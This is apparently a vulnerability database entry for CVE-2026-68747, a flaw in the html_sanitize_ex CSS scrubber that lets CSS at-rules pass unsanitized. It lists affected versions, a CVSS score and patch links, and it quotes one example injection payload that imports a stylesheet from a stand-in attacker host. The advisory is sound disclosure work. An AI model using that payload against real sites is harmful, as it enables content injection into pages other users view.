Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.
Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.
This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NWeakness enumeration
Affected software
| Vendor | Product | Versions |
|---|---|---|
| rrrene | html_sanitize_ex | >= 0.3.1, < 1.4.5; >= 1.5.0-rc.0, < 1.5.4 |
| rrrene | html_sanitize_ex | >= 21f90012eb21aa36f4e3701b7547e12faf0f3c8b, < * |
References
- https://cna.erlef.org/cves/CVE-2026-68747.htmlPatch, Third Party Advisory
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308Patch
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7Broken Link
- https://osv.dev/vulnerability/EEF-CVE-2026-68747Patch, Third Party Advisory
Timeline
- Published
- Aug 6, 2026
- Last modified
- Oct 24, 2026
- NVD status
- Modified